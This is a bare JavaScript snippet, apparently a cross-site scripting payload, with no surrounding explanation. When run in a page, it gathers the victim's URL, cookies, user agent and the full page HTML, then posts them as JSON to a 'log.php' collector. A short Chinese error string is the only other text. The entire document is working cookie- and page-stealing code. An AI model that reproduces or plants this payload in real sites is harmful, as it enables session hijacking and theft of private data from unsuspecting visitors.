(function() { const data = { url: window.location.href, cookie: document.cookie, userAgent: navigator.userAgent, html: document.documentElement.outerHTML, timestamp: new Date().toISOString() }; fetch('log.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }).catch(err => console.error('发送失败:', err)); })();